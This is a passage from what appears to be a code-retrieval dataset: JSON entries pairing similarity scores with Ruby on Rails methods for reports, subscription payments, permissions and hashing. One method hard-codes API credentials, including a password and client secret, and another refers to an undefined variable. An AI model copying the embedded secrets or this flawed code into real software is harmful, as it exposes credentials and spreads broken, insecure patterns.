\"+company.plan.name+\"(\"+company.plan.id.to_s+\"), por un costo de \"+due+\". trx_id: \"+trx_id+\" - mp: \"+company.id.to_s+\". Resultado: \"+resp.get_error+\".\")\n redirect_to select_plan_path, notice: \"No se pudo completar la operación ya que hubo un error en la solicitud de pago. Por favor escríbenos a [email protected] si el problema persiste. (3)\"\n end\n end\n\n end\n\n end",
"title": ""
},
{
"docid": "9190d2317880e4fbfc156ee1ea518548",
"score": "0.49818614",
"text": "def activatedAddons \n \"activatedAddons\" \n end",
"title": ""
},
{
"docid": "78b04e44f1264df051af181e4d7997a8",
"score": "0.49733984",
"text": "def add_report\n # TODO: should traverse listener queue for conditions and callbacks\n if @rain == :warning or @rain == :imminent\n @site.reports.create\n end\n end",
"title": ""
},
{
"docid": "2740a9d46626533571e143b151715813",
"score": "0.49723077",
"text": "def dashboard_promo_hours_graph_data\n current_company.campaigns.active.accessible_by_user(current_company_user).promo_hours_graph_data\n end",
"title": ""
},
{
"docid": "1290239bc2812c1d11af5d015a2e1979",
"score": "0.4967745",
"text": "def gtotal\n # ToDo: Change the hard coded report to a Report setting, or client base\n raise 'Hard coded report implementation' unless RAILS_ENV =~ /susbkk/\n end",
"title": ""
},
{
"docid": "08a8ee95b9c05604f630fbcfa3d8c7f0",
"score": "0.49622285",
"text": "def online_special_ballot\n end",
"title": ""
},
{
"docid": "5cb353dcb5162c4e6c8a42eaeae58dff",
"score": "0.49466717",
"text": "def emp_report\n \n end",
"title": ""
},
{
"docid": "9350339e5324cec14354c96f028e4ce2",
"score": "0.49458164",
"text": "def enabled_accounts\n self.padma.try(:enabled_accounts)\n end",
"title": ""
},
{
"docid": "594c78aa43f8ab873faa8791bea3cd01",
"score": "0.49402294",
"text": "def index\n if(current_user.company && (current_user.check_payment_status? == true || (current_user.check_payment_status? == false && current_user.company.membership.is_trial_period_allowed?)))\n load_instances\n if current_user.check_payment_status? == false\n current_user.company.payments.create({:company_id => @company.id, :status => Payment::STATUS[:success], :vendor => \"Free Trial Period\", :amount => 0})\n flash[:notice] = \"Your brand #{current_user.company.name} for which payment is pending is upgraded to free trail period of 30-days\"\n end\n elsif current_user.company && current_user.check_payment_status? == false\n @no_post_panel = true\n redirect_to payment_options_users_path(:membership_id => current_user.company.membership_id, :user_id => current_user.id, :from_company => true)\n else\n render :partial => \"shared/company/business_plan\", :layout => \"application\"\n end\n end",
"title": ""
},
{
"docid": "24256228d1866aea4cf5284ebc87585f",
"score": "0.49328637",
"text": "def generate_reactivation_transaction\n\n payment_method = params[:mp]\n company = Company.find(current_user.company_id)\n\n downgradeLog = DowngradeLog.where(company_id: company.id).order('created_at desc').first\n\n new_plan = downgradeLog.plan\n\n #Should have free plan\n previous_plan = company.plan\n\n if new_plan.custom\n price = new_plan.plan_countries.find_by(country_id: company.country.id).price\n else\n price = new_plan.plan_countries.find_by(country_id: company.country.id).price company.computed_multiplier\n end\n\n sales_tax = company.country.sales_tax\n\n day_number = Time.now.day\n month_number = Time.now.month\n month_days = Time.now.days_in_month\n\n plan_month_value = ((month_days - day_number + 1).to_f / month_days.to_f) * price\n due_amount = downgradeLog.debt\n\n\n if company\n mockCompany = Company.find(current_user.company_id)\n mockCompany.plan_id = new_plan.id\n mockCompany.months_active_left = 1.0\n mockCompany.due_amount = 0.0\n mockCompany.due_date = nil\n\n if !mockCompany.valid?\n redirect_to select_plan_path, notice: \"No se pudo completar la operación ya que hubo un error en la solicitud de pago. Por favor escríbenos a [email protected] si el problema persiste. (9)\"\n else\n\n trx_comp = mockCompany.id.to_s + \"0\" + new_plan.id.to_s + \"0\"\n trx_offset = 4\n trx_date = DateTime.now.to_s.gsub(/[-:T]/i, '')\n trx_date = trx_date[0, trx_date.size - trx_offset]\n trx_date = trx_date[trx_date.size - 15 + trx_comp.size, trx_date.size]\n trx_id = trx_comp + trx_date\n\n if trx_id.size > 15\n trx_id = trx_id[0, 15]\n end\n\n due = sprintf('%.2f', ((plan_month_value + due_amount /(1 + sales_tax) )*(1 + sales_tax)).round(0))\n\n crypt = ActiveSupport::MessageEncryptor.new(Agendapro::Application.config.secret_key_base)\n\n encrypted_data = crypt.encrypt_and_sign({reference: trx_id, description: \"Cambio a plan \" + mockCompany.plan.name, amount: due, source_url: select_plan_path})\n\n\n if encrypted_data\n PlanLog.create(trx_id: trx_id, new_plan_id: new_plan.id, prev_plan_id: previous_plan.id, company_id: mockCompany.id, amount: due)\n PayUCreation.create(trx_id: trx_id, payment_method: '', amount: due, details: \"Creación de reactivación de plan empresa id \"+mockCompany.id.to_s+\", nombre \"+mockCompany.name+\". Cambia de plan \"+mockCompany.plan.name+\"(\"+mockCompany.plan.id.to_s+\"), por un costo de \"+due+\". trx_id: \"+trx_id+\" - mp: \"+mockCompany.id.to_s+\". Resultado: Se procesa\")\n redirect_to action: 'generate_transaction', encrypted_task: encrypted_data\n return\n else\n PayUCreation.create(trx_id: trx_id, payment_method: '', amount: due, details: \"Error creación de cambio de plan empresa id \"+mockCompany.id.to_s+\", nombre \"+mockCompany.name+\". Cambia de plan \"+mockCompany.plan.name+\"(\"+mockCompany.plan.id.to_s+\"), por un costo de \"+due+\". trx_id: \"+trx_id+\" - mp: \"+mockCompany.id.to_s+\". Resultado: \"+resp.get_error+\".\")\n redirect_to select_plan_path, notice: \"No se pudo completar la operación ya que hubo un error en la solicitud de pago. Por favor escríbenos a [email protected] si el problema persiste. (3)\"\n end\n end\n end\n end",
"title": ""
},
{
"docid": "9caf7054a2d20be9fbdd5ac5ec73e323",
"score": "0.49317238",
"text": "def set_report\n @report = Report.find(params[:id])\n redirect_to dashboard_path, notice: \"Sorry, but you don't have permission to view that.\" unless @report.company_id == current_user.company_id\n end",
"title": ""
},
{
"docid": "23fc999e89d29cdf2e286ba1ca6c445a",
"score": "0.49304488",
"text": "def create\n @report = current_user.reports.new(params[:report])\n @wizard = Wizard.new(params[:report], view_context)\n\n if @report.save\n if @wizard.active?\n @wizard.append_report @report.id\n redirect_to wizard_step4_path(@wizard.parameters), notice: 'Report was successfully saved.'\n else\n redirect_to report_path(@report), notice: 'Report was successfully created.' \n end\n else\n render action: \"new\" \n end\n end",
"title": ""
},
{
"docid": "2252bc179c2d0ca58adac713b49fa788",
"score": "0.49204466",
"text": "def report_load\n self.report('load_report')\n end",
"title": ""
},
{
"docid": "49384c49b409008eacfe9bce7df63bd8",
"score": "0.49097136",
"text": "def export_report\n @report.export_report\n end",
"title": ""
},
{
"docid": "49384c49b409008eacfe9bce7df63bd8",
"score": "0.49097136",
"text": "def export_report\n @report.export_report\n end",
"title": ""
},
{
"docid": "379e679d9b72cae1ad794108fb5e4a3a",
"score": "0.48964688",
"text": "def fetch_reports\n # fetch all the reports using this method and then create a Report for each of them\n end",
"title": ""
},
{
"docid": "152baa2b1d3a5e9dafbd3196077f9273",
"score": "0.4896031",
"text": "def new_flight_record\n return unless has_permission :can_do_billing\n @page_title = 'New Flight Record Sheet'\n \n @users = User.find(:all,:conditions=>['account_suspended = false'])\n @instructors = Group.users_in_group('instructor')\n former_instructors = Group.users_in_group('former_instructor')\n former_instructors.each{|i|\n if not @instructors.include?(i)\n @instructors << i\n end\n }\n \n @aircrafts = Aircraft.find(:all,:conditions=>['deleted = false'])\nend",
"title": ""
},
{
"docid": "2647097e12956b9405b1b283f3049e22",
"score": "0.48929593",
"text": "def report_accessible?\n report || is_admin\n end",
"title": ""
},
{
"docid": "59a1ac80120414035188408ddd23e525",
"score": "0.48853534",
"text": "def create\n\t\t\n @reporte = Reporte.new(reporte_params)\n\t\t@asignacion_actividad = @reporte.asignacion_actividad\n @actividad = @asignacion_actividad.actividad\n @proyecto = @actividad.proyecto\n\n\t\t\tif current_usuario.asignacion_roles.where(esActual: true, id: Rol.where(nombre: \"Voluntario\"), proyecto: @proyecto) && current_usuario.asignacion_roles.where(esActual: true, proyecto: @proyecto).count == 1\n\t\t\traise CanCan::AccessDenied if !Reporte.accessible_by(current_ability, :create).include?(@actividad.reportes.first)\n\t\telse\n\t\t\tauthorize! :create, Reporte\n\t\tend\n\n \n respond_to do |format|\n if @reporte.save\n\t format.html { redirect_to :action => 'index', :actividad_id => @reporte.asignacion_actividad.actividad.id \n\t\t flash[:success] = 'Reporte fue creado satisfactoriamente.' }\n format.json { render :show, status: :created, location: @reporte }\n else\n format.html { render :new }\n format.json { render json: @reporte.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "9b4a637f435390d9c39a9863badc9ff5",
"score": "0.48838204",
"text": "def reports\n user_reports.concat(mod_reports)\n end",
"title": ""
},
{
"docid": "a04219ab096b46e5f1176147928890de",
"score": "0.48827112",
"text": "def enable_current\n @disabled = false\n end",
"title": ""
},
{
"docid": "0386ae271187631fced38d9ea533b395",
"score": "0.48784566",
"text": "def chart_feature \n @feature = params[:feature]\n chart = Ziya::Charts::Column.new( @license ) \n chart.add( :axis_category_text, @date_series )\n chart.add( :series, @feature, MoleLog.compute_series( @feature, @app_name, @min_date, @max_date ) )\n chart.add( :theme, \"moles\" ) \n chart.add( :user_data, :delay, rand( 10 ) + REFRESH_RATE )\n chart.add( :user_data, :url, \"/graphs/update_feature?feature=#{CGI.escape(@feature)}\") \n render :xml => chart.to_xml\n end",
"title": ""
},
{
"docid": "db0e87a39c54bb1511a26365766fc55c",
"score": "0.48773953",
"text": "def new_trade_environment_setup\n\treturn if authorise_for_web('trade_environment_setup','trade_env_setup')== false\n\t\n is_view = nil\n if session[:current_prod_schedule]== nil\n msg = \"You must first select or set a 'current' production schedule from the 'production schedules' tab\"\n @freeze_flash = true\n redirect_to_index(msg)\n return\n else\n session[:current_prod_schedule].reload\n is_view = (session[:current_prod_schedule].production_schedule_status_code == \"closed\")\n if is_view\n @freeze_flash = true\n redirect_to_index(\"The schedule has been closed.\")\n return\n end\n end\n\t\n\t\n\t\trender_new_trade_environment_setup\nend",
"title": ""
},
{
"docid": "06d42f40e059e699d9335bc16c685977",
"score": "0.48717818",
"text": "def request_feedback\n @plan = Plan.find(params[:id])\n if @plan.present?\n authorize @plan\n @plan_roles = @plan.roles.where(active: true)\n else\n redirect_to(plans_path)\n end\n end",
"title": ""
},
{
"docid": "3c2886d023ead996d0d8e1f30a629710",
"score": "0.4870379",
"text": "def report?\n [email protected]? && !Report.where(reportable_id: @proposal.id,\n reportable_type: 'Proposal',\n user_id: @user.id).exists?\n end",
"title": ""
},
{
"docid": "e5f8907b94f5f9fd1960b655ccb2d1a2",
"score": "0.48691455",
"text": "def addTab(tName, opts = {}, &initProc)\n MObject.warn('addTab', 'Feature to define graph in experiment script has been disabled')\n end",
"title": ""
},
{
"docid": "53031cd580f73fc99ae5970269191452",
"score": "0.48645702",
"text": "def enable\n end",
"title": ""
},
{
"docid": "82a93681e97e6ac6883806d2213f41ec",
"score": "0.48581436",
"text": "def withdrawing_eligible(option)\r\n $tables.attach(\"Withdrawing\").withdrawing_eligible\r\n end",
"title": ""
},
{
"docid": "a9f6136a79e410ddc5f0b14bca130bcf",
"score": "0.4854416",
"text": "def reports(wspace=framework.db.workspace)\n ::ApplicationRecord.connection_pool.with_connection {\n wspace.reports\n }\n end",
"title": ""
},
{
"docid": "34c287216930e6558a410221a90e6fef",
"score": "0.48523813",
"text": "def index\n @reports = current_user.reports.all\n\n end",
"title": ""
},
{
"docid": "a0d2010314b00b1d5e2fad65a4f8054f",
"score": "0.4851258",
"text": "def create\n @account = current_account\n @expense_report = ExpenseReport.new(expense_report_params)\n @expense_report.account_id = @account.id\n @expense_report.estimate2 =(@expense_report.Flight + @expense_report.Hotel + @expense_report.Transportation + @expense_report.Other)\n \n @travel_forms = TravelForm.all\n @expense_reports = ExpenseReport.all\n @expense_reports.each do |expense_report|\n @travel_forms.each do |travel_form|\n @travel_form = @travel_forms.find(@expense_report.travel_forms_id)\n if @expense_report.estimate2 > @travel_form.estimate\n @expense_report.update_attributes(:status => \"Denied\")\n end\n end\n end\n respond_to do |format|\n if @expense_report.save\n format.html { redirect_to employee_path(current_account.accountable_id), notice: 'Expense report was successfully created.' }\n format.json { render :show, status: :created, location: @expense_report }\n else\n format.html { render :new }\n format.json { render json: @expense_report.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "9503a16dc768ec53a623f2c79fa6450d",
"score": "0.4849498",
"text": "def set_report\n @report = Report.all.find(params[:id])\n if !(current_user.admin? || current_user?(@report.user))\n flash[:alert] = \"올바르지 않은 권한입니다.\"\n redirect_to root_url\n end\n end",
"title": ""
},
{
"docid": "1234a33146befbc129d79e89010ef382",
"score": "0.48481154",
"text": "def reports?\n !reports.empty?\n end",
"title": ""
},
{
"docid": "8d09fd520c03981aabaed12050467e86",
"score": "0.48474622",
"text": "def enabledonly()\n merge(gaenabledonly: 'true')\n end",
"title": ""
},
{
"docid": "57eb549423ef9de7c249df317735c6dc",
"score": "0.4846682",
"text": "def reporting_mode\n process_commands!(REPORTING)\n end",
"title": ""
},
{
"docid": "bac3f12b0d56ed65dcb741e044914e85",
"score": "0.4840156",
"text": "def loyalty_enabled?\n @loyalty_indicator\n end",
"title": ""
},
{
"docid": "4451f3ea6e2c9a1edc7aa388714cef2b",
"score": "0.48400617",
"text": "def set_dashboard\n p 'Set contexst'\n p current_user\n context = view_context\n # if current_user.nil?\n # user = User.last\n # sign_in(:user, user)\n # end\n if current_user.present? && current_user.mmp_admin?\n @dashboards = Dashboards::MMPAdminDashboard.new(context, current_user)\n elsif current_user.vendor_admin?\n @dashboards = Dashboards::VendorDashboard.new(context, current_user)\n end\n @exhibitor = context.exhibit(@dashboards) if @dashboards.present?\n\n end",
"title": ""
},
{
"docid": "0f62336c034db9ab7bf35f698222ac99",
"score": "0.48332065",
"text": "def hook\n raise \"Cannot use hooks with Google Analytics methods\"\n end",
"title": ""
},
{
"docid": "a6a1d020f4fc7333aae7ac75fa5e0386",
"score": "0.48238298",
"text": "def purchase_sub_existing_edu #much copied from static#students , but much not needed #in case use customer registers but then comes back later to finish purchasing\n @event = Event.find(ENV['demopage'].to_i)\n @commencement_plan = Plan.find_by_my_plan_id(plan_set_commencement) # sets @first_plan the first plan object ACCORDING TO MY LEGEND (with my_plan_id)\n @students_plan = Plan.find_by_my_plan_id(plan_set_students)\n @all_inclusive_plan = Plan.find_by_my_plan_id(plan_set_all_inclusive)\n @practiceobject = Practiceobject.new \n @practiceobject.event_id = @event.id #for the form_for(@practiceobject) which creatse a new practice object (and another form which just shows the labels - can find a better way for that)\n @registeredandrecordedpos = @event.practiceobjects.registered.recorded.visible\n @registeredandunrecordedpos = @event.practiceobjects.registered.unrecorded.visible\n @unregisteredpos = @event.practiceobjects.unregistered.visible\n @hiddenpos = @event.practiceobjects.hidden\n @hiddenandregisteredpos = @hiddenpos.registered\n @hiddenandunregisteredpos = @hiddenpos.unregistered \n\n @url = demo_record_directory_url(:event_code => @event.event_code)\nend",
"title": ""
},
{
"docid": "a489975ca70fe9c20233a673d10ed00c",
"score": "0.4822465",
"text": "def view_report(entity_id, action)\n\t\t\tr = Report.find(entity_id)\n\t\t\tif action == true\n\t\t\t\tr['status'] = 'checked'\n\t\t\tend\n\t\tend",
"title": ""
},
{
"docid": "a6bd0768ba688eae72b081e4b80a184e",
"score": "0.48190647",
"text": "def enabled; end",
"title": ""
},
{
"docid": "a6bd0768ba688eae72b081e4b80a184e",
"score": "0.48190647",
"text": "def enabled; end",
"title": ""
},
{
"docid": "a6bd0768ba688eae72b081e4b80a184e",
"score": "0.48190647",
"text": "def enabled; end",
"title": ""
},
{
"docid": "a6bd0768ba688eae72b081e4b80a184e",
"score": "0.48190647",
"text": "def enabled; end",
"title": ""
},
{
"docid": "eec3ca1768e30db55cb925db8aa1c9c3",
"score": "0.48189998",
"text": "def set_trial\n if account\n self.trial = account.trial?\n self.expired_trial = account.expired_trial?\n self.unsubscribed = self.account.unsubscribed?\n end\n end",
"title": ""
},
{
"docid": "d7f89fb6c092dc54f24e0ffc75ab864a",
"score": "0.48185572",
"text": "def account_used\n\n\t\tif Booking.where(location_id: Location.where(company_id: self.id).pluck(:id)).where('created_at > ?', DateTime.now - 1.weeks).count > 0\n\t\t\treturn true\n\t\tend\n\n\t\treturn false\n\n\tend",
"title": ""
},
{
"docid": "08379524458061e235fbee350c08fe5e",
"score": "0.48120987",
"text": "def activate\n # admin.tabs.add \"Flat Rate Shipping\", \"/admin/flat_rate_shipping\", :after => \"Layouts\", :visibility => [:all]\n end",
"title": ""
},
{
"docid": "d6491ce18160700429e6fced97d03b61",
"score": "0.48065782",
"text": "def disable\n disable_features :all\n end",
"title": ""
},
{
"docid": "7757feada9d21eafd0458027f396d99e",
"score": "0.48059535",
"text": "def redirect_new_report!(options, params:, **)\n params['new_report'] == 'true' ? options['new_report'] = true : options['new_report'] = false\n true\n end",
"title": ""
},
{
"docid": "ed2a1fea48155f3e287b5fe493c4802b",
"score": "0.48010954",
"text": "def run\n\t\tmy_credentials = {\"user\" => \"test.api\", 'password' => '5DRX-AF-gc4', 'client_id' => 'Test', 'client_secret' => 'xIpXeyMID9WC55en6Nuv0HOO5GNncHjeYW0t5yI5wpPIqEHV'}\n\t\taccess_token = self.class.post('http://testcost.platform161.com/api/v2/access_tokens/', { query: my_credentials })['token']\n\t\theaders = {:headers => {'PFM161-API-AccessToken' => access_token}}\n\t\tadvertiser_reports = self.class.post('https://testcost.platform161.com/api/v2/advertiser_reports/', headers )\n\t\tcreate_local_report advertiser_reports['id']\n\t\tcampaign = self.class.get('https://testcost.platform161.com/api/v2/campaigns/' + campaign_id.to_s, headers )\n\t\tif advertiser_reports['results'] && advertiser_reports['results'].select { |campaign| campaign['campaign_id'] == campaign_id }.present?\n\t\t\tadvertiser_report = advertiser_reports['results'].select { |campaign| campaign['campaign_id'] == campaign_id }\n\t\t\tReportGeneratorCsvBuilder.new({advertiser_report: advertiser_report, campaign: campaign}).build\n\t\telse\n\t\t\tfalse\n\t\tend\n\tend",
"title": ""
},
{
"docid": "0fb45223b802364be433a03992b3a421",
"score": "0.47998378",
"text": "def check_active_user\n if !current_user.active?\n current_user.plan = nil\n end\n end",
"title": ""
},
{
"docid": "aa04f63746dda39caf44208529633f42",
"score": "0.47929052",
"text": "def show\n\t\tif current_usuario.asignacion_roles.where(esActual: true, id: Rol.where(nombre: \"Voluntario\"), proyecto: @reporte.actividad.proyecto) && current_usuario.asignacion_roles.where(esActual: true, proyecto: @reporte.actividad.proyecto).count == 1\n\t\t\traise CanCan::AccessDenied if !Reporte.accessible_by(current_ability, :show).include?(@reporte)\n\t\telse\n\t\t\tauthorize! :show, Reporte\n\t\tend\n\n end",
"title": ""
},
{
"docid": "109041787e2ee1e43ce353b02dcea6eb",
"score": "0.47895497",
"text": "def report_active?\n\t\tbegin\n\t\t\tReport.table_exists?\n\t\trescue\n\t\t\tfalse\n\t\tend\n\tend",
"title": ""
},
{
"docid": "075ddb4324746e72e2554d8319e17d56",
"score": "0.47891322",
"text": "def ga_tracker(include_ga_tracker=Rails.env.production?)\n @ga_tracker = include_ga_tracker\n end",
"title": ""
},
{
"docid": "da4204144dca2645e6acb74befe9c008",
"score": "0.47849527",
"text": "def set_reportabus\n @reportabus = Reportabuse.find(params[:id])\n end",
"title": ""
},
{
"docid": "36afdeb92726e0889d26dec1a7adf478",
"score": "0.47845817",
"text": "def index\n @reports = current_user.reports.all\n end",
"title": ""
},
{
"docid": "e71e5f0bd8ba060dc916b27e495d3936",
"score": "0.4783875",
"text": "def gl\n @periode = Periode.find(params[:id])\n @periode.linkPaiesToFeuilles\n @gl = Transactionsgl.new(@periode) \n end",
"title": ""
}
] |
50f9f185a7e0a4b735aeced6110bd841
|
Calculates hash code according to all attributes.
|
[
{
"docid": "517852e7302f814ddea36a78c2bc7ebf",
"score": "0.0",
"text": "def hash\n [id, type, subtype, item, service_template, board, summary_setting, discussion_setting, internal_analysis_setting, tasks_setting, documents_setting, resources_setting, budget_hours_setting, finance_information_setting, auto_apply_flag, _info].hash\n end",
"title": ""
}
] |
[
{
"docid": "08105588814074a5aed46dbb236c8d02",
"score": "0.791457",
"text": "def hash_code; Digest::SHA256.hexdigest(@attributes.values.join); end",
"title": ""
},
{
"docid": "706cbdb4c78e6b67e29589df0a4b1b5c",
"score": "0.73099273",
"text": "def attr_hash\n md5 = Digest::MD5.new\n # just hash it by name\n md5.update @name\n #\n # @attributes.each do |k,v|\n # md5.update \"#{k}:#{v.attr_hash}\"\n # end\n md5.hexdigest\n end",
"title": ""
},
{
"docid": "8ad8f536b4be5ea83ec2a972ee3d5592",
"score": "0.72587657",
"text": "def hash\n total = 17\n each_field do |fid, field_info|\n name = field_info[:name]\n value = self.send(name)\n total = (total * 37 + value.hash) & 0xffffffff\n end\n total\n end",
"title": ""
},
{
"docid": "ec68e4db3228ce9d9ce089f2401aef90",
"score": "0.7206873",
"text": "def attr_hash\n md5 = Digest::MD5.new\n @attributes.each do |k,v|\n md5.update \"#{k}:#{v.attr_hash}\"\n end\n md5.hexdigest\n end",
"title": ""
},
{
"docid": "44b88bc56b0ea48f2ab73e2f3d712526",
"score": "0.70994294",
"text": "def attr_hash\n md5 = Digest::MD5.new\n @ruby_types.each do |k,typ|\n md5.update typ.attr_hash\n end\n md5.hexdigest\n end",
"title": ""
},
{
"docid": "95ed967547f1ab19a41a714a9972a2c5",
"score": "0.70697373",
"text": "def hash\n strs = FIELDS.collect {|f| \"#{f}:#{send(f).inspect}\"}\n Digest::SHA256.hexdigest(strs.join(' '))\n end",
"title": ""
},
{
"docid": "55481f97eb0ef93fcebc191faf81107c",
"score": "0.6987905",
"text": "def hash\n h = 5381\n h = h * 33 + self.length\n each do |c|\n h = h * 33 + c.hash\n end\n h\n end",
"title": ""
},
{
"docid": "6938cc34537e4457ae5dd123375a97d6",
"score": "0.68441796",
"text": "def hash\n hash = 17\n hash = 37 * hash + @prob.hash\n hash = 37 * hash + @alias.hash\n hash = 37 * hash + @values.hash\n hash\n end",
"title": ""
},
{
"docid": "6babdb9869ffd11bc160cce305fb1d48",
"score": "0.67915756",
"text": "def hash\n hash_val = size\n return _attrs.size if Thread.detect_outermost_recursion self do\n _attrs.each { |var| hash_val ^= instance_variable_get(:\"@#{var}\").hash }\n end\n return hash_val\n end",
"title": ""
},
{
"docid": "b78a8c3fbbda0dc6b3ed59f810316f24",
"score": "0.67847186",
"text": "def hash(*) end",
"title": ""
},
{
"docid": "15ab111544bfee6d598c82c6a202f376",
"score": "0.6759885",
"text": "def hashfunc; end",
"title": ""
},
{
"docid": "48081c7ec008e749812e1497a2130418",
"score": "0.6707762",
"text": "def hash\n code = 17\n code = 37 * code\n self.instance_variables.each do |v|\n code += self.instance_variable_get(v).hash\n end\n code\n end",
"title": ""
},
{
"docid": "8d4aa21615eed2c9554deb6528b13ede",
"score": "0.67051935",
"text": "def hash\n attrs = attributes.dup\n attrs.delete_if {|key, value| [:created_at, :updated_at, :id].include?(key)}\n attrs.delete_if {|key, value| value.kind_of?(Base) }\n keys = attrs.keys.map{|sym| sym.to_s}.sort.join ''\n values = attrs.values.map{|sym| sym.to_s}.sort.join ''\n Digest::MD5.hexdigest(keys + values)\n end",
"title": ""
},
{
"docid": "d256edb415273d5591949554543bf11b",
"score": "0.6701888",
"text": "def hash\n attributes.values.reduce { |a, e| a.to_s + e.to_s }.hash\n end",
"title": ""
},
{
"docid": "c71589222d9983d1465d977cf7f0a818",
"score": "0.6669352",
"text": "def hash\n value = 0\n for row in @rows\n for e in row\n value ^= e.hash\n end\n end\n return value\n end",
"title": ""
},
{
"docid": "fff1d340d09abfeab4e4d4deafe3b442",
"score": "0.65652955",
"text": "def hash() ajd.hash end",
"title": ""
},
{
"docid": "a0723003eee4af505775c3ea17ef5f3b",
"score": "0.65597206",
"text": "def hash() @ajd.hash end",
"title": ""
},
{
"docid": "677fd2d39e8c45f7dfc6d65134122cb7",
"score": "0.6548127",
"text": "def hash\n\t\t\t\t[code, guid].hash\n\t\t\tend",
"title": ""
},
{
"docid": "a63c91b2e4a24e55caeec10e42dc422b",
"score": "0.6536589",
"text": "def hash\n return __hash__opal__ if RUBY_ENGINE == 'opal'\n class_hash = self.class.hash\n indexed_values = to_a.each_with_index\n value_hashes = indexed_values.map do |value, i|\n value_hash = value.equal?(self) ? class_hash : value.hash\n i+1 * value_hash\n end\n class_hash + value_hashes.sum\n end",
"title": ""
},
{
"docid": "9c5b5bb0c4bf1cad3aebbec2dda8bcc1",
"score": "0.650851",
"text": "def calc_hash(hashed_obj)\n Digest::SHA256.base64digest hashed_obj.to_s\n end",
"title": ""
},
{
"docid": "3401dd23feadd2dca281026caf05c8cc",
"score": "0.65080184",
"text": "def hash\n raise 'Score has zero value, there is no hash' if @suffixes.empty?\n @suffixes.reduce(prefix) do |pfx, suffix|\n OpenSSL::Digest.new('SHA256', \"#{pfx} #{suffix}\").hexdigest\n end\n end",
"title": ""
},
{
"docid": "b57595534585581dcad80e28672bbf0f",
"score": "0.6470199",
"text": "def hash\n @digest.hexdigest\n end",
"title": ""
},
{
"docid": "69a9eb2e2353c88799859edcad3ee8a0",
"score": "0.6462376",
"text": "def hash\n @hash ||= begin\n result = 17\n result = 31 * result + self.class.hash\n result = 31 * result + ord\n result.is_a?(Fixnum) ? result : result.hash\n end\n end",
"title": ""
},
{
"docid": "b02b0d102072c068a4ac051857d275d8",
"score": "0.643492",
"text": "def hash\n result = 0\n self.keys.each do |key|\n result += ALPHA.index(key).hash.abs + self[key].hash.abs\n end\n result\n end",
"title": ""
},
{
"docid": "8f97e73317cd71f4efbc229f285343ba",
"score": "0.64101475",
"text": "def hash_function\n @hash_function ||= 'sha256'\n end",
"title": ""
},
{
"docid": "a4e02373e766881204a59e8498b5ad36",
"score": "0.6401857",
"text": "def calc_hash( data )\n sha = Digest::SHA256.new\n sha.update( data )\n sha.hexdigest\nend",
"title": ""
},
{
"docid": "37409f9e9e269906d68ec00b11296a21",
"score": "0.63848263",
"text": "def hash\n HASH_CONSTANT * @x.hash * @y.hash\n end",
"title": ""
},
{
"docid": "226867762a59c5f604e4958d3c1a974d",
"score": "0.63827044",
"text": "def hash_value\n result = 0\n for i in 0..8 do\n result *= 3\n result += @state[i]\n end\n result\n end",
"title": ""
},
{
"docid": "f354d6cbab80376975c548c0d8495c25",
"score": "0.6369635",
"text": "def hash\n @digest = Digest::SHA256.new\n @digest.update @submitter\n @digest.update @period\n @digest.update @random\n return @digest.hexdigest\n end",
"title": ""
},
{
"docid": "57e30279992402331ca956276e706c28",
"score": "0.6361055",
"text": "def hash\n Util.irccase(self).hash\n end",
"title": ""
},
{
"docid": "39b15da071a5d18e77c7674f9a946414",
"score": "0.635671",
"text": "def hash\n @hash || calculate_hash!\n end",
"title": ""
},
{
"docid": "a6d4ffe0852cc4b4e0c9fa0baf0f841f",
"score": "0.6343274",
"text": "def hash\n self.inject(37){|memo,str| memo + 17*str.hash}\n end",
"title": ""
},
{
"docid": "0efc33cf18bcedff4c20f96e9d5d65c5",
"score": "0.633713",
"text": "def _calc_hash(value)\n value.hash\nend",
"title": ""
},
{
"docid": "97e18e1269b7aa0f008ee37a6d87004f",
"score": "0.6319418",
"text": "def hash # :nodoc:\n return (57 + @name.hash) * @type.hash\n end",
"title": ""
},
{
"docid": "34b2818d9e702b288a108c6515e67dbe",
"score": "0.62999785",
"text": "def hash\n super +\n @architecture.hash +\n @codename.hash +\n @distribution.hash +\n @family.hash +\n @kernel.hash +\n @version.hash\n end",
"title": ""
},
{
"docid": "dcd2d2a7b8b5351f882af58dc9101795",
"score": "0.62864375",
"text": "def hash\n @hash ||= _calculate_hash\n end",
"title": ""
},
{
"docid": "d57cbacd52ef2e4534221858d84aeadd",
"score": "0.628516",
"text": "def hash\n value = self.length\n self.each do |item|\n value = (value << 1) | (value < 0 ? 1 : 0)\n value ^= item.hash\n end\n\n return value\n end",
"title": ""
},
{
"docid": "dc2f70c0a194bb29adc02d10d4d74ce3",
"score": "0.62700063",
"text": "def calculate_hash(source_path)\n self.md5 = Digest::MD5.file(source_path).hexdigest\n end",
"title": ""
},
{
"docid": "1481881c7503fc92b7c4350f0f8f7814",
"score": "0.6260006",
"text": "def hash\n if not defined?(@cached_hash)\n # this is really a specialized version of the hash\n # builder. Code duplication? Yes. That big a deal? Not really.\n current_hash = 269\n @optional.each {\n |k,t|\n current_hash += 503 * ((431 + k.hash * 443) + t.hash * 443)\n }\n @require.each {\n |k,t|\n current_hash += 503 * ((497 + k.hash * 419) + t.hash * 419)\n }\n @cached_hash = current_hash\n end\n @cached_hash\n end",
"title": ""
},
{
"docid": "c74b013b64475e002799e6faa18e3841",
"score": "0.62559605",
"text": "def hash\n @bits.hash\n end",
"title": ""
},
{
"docid": "e08db0e8d8f06175397c0e3356ceab0f",
"score": "0.6252866",
"text": "def hash\n (self.x*self.y + self.z).abs.ceil\n end",
"title": ""
},
{
"docid": "4c33c11e43a05ec129d793d8921f5247",
"score": "0.62406325",
"text": "def define_hash\n define_method(:hash) do\n klass = self.class\n attrs = klass.comparison_attrs\n ([klass] + attrs.map { |attr| send(attr) }).hash\n end\n end",
"title": ""
},
{
"docid": "74913f0bfd7bc361489471b34f9ec8c0",
"score": "0.622862",
"text": "def hashes(name)\n digits = Digest::SHA1.hexdigest(name)\n \n (0..6).map do |i| \n digits[i*5,5].to_i(16) % FILTER_SIZE\n end\n end",
"title": ""
},
{
"docid": "ff7f2a6fa6dca9d9a76baf55582b7135",
"score": "0.62266326",
"text": "def build_hash_for(body)\n hasher = OpenSSL::Digest.new('sha256')\n hasher.hexdigest(body)\n end",
"title": ""
},
{
"docid": "694bd3f40ca7d40964f0fe7e5cb02bdf",
"score": "0.6221287",
